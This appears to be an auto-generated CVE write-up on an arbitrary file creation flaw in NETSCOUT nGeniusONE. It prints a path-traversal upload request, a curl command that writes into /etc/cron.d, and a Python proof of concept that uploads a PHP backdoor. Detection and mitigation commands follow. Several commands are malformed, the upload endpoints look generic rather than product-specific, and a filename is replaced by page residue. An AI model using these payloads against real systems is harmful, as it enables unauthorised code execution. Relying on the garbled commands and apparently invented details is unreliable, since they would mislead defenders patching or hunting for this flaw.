How CVE-2025-32979 Works
CVE-2025-32979 is an arbitrary file creation vulnerability in NETSCOUT nGeniusONE versions before 6.4.0 b2350. Authenticated attackers can exploit improper input validation in file upload or directory traversal functions to create malicious files in unintended locations. This could lead to remote code execution (RCE), data manipulation, or denial-of-service (DoS) by overwriting critical system files. The flaw stems from insufficient path sanitization, allowing attackers to bypass restrictions using crafted payloads like `../../` sequences.
DailyCVE Form
Platform: NETSCOUT nGeniusONE
Version: <6.4.0 b2350
Vulnerability: Arbitrary File Creation
Severity: Critical
Date: 05/27/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploitation:
1. Directory Traversal Payload:
POST /upload HTTP/1.1 Host: target Content-Disposition: form-data; name="file"; filename="../../malicious.php"
2. File Overwrite:
curl -X POST -F "[email protected]" "http://target/api/upload?dest=../../etc/cron.d"
Detection:
grep -r "file_put_contents(..." /var/www/ngeniusone
Mitigation:
1. Input Sanitization:
$filename = basename($_FILES['file']['name']); // Prevent path traversal
2. Patch Upgrade:
wget https://download.netscout.com/ngeniusone/6.4.0/b2350/update.sh chmod +x update.sh && ./update.sh
Log Analysis:
cat /var/log/nginx/access.log | grep -E "../|%2e%2e"
Firewall Rule:
iptables -A INPUT -p tcp --dport 80 -m string --string "../" --algo bm -j DROP
Exploit PoC (Python):
import requests
files = {'file': ('../../backdoor.php', open('backdoor.php', 'rb'))}
r = requests.post("http://target/upload", files=files)
print(r.status_code)
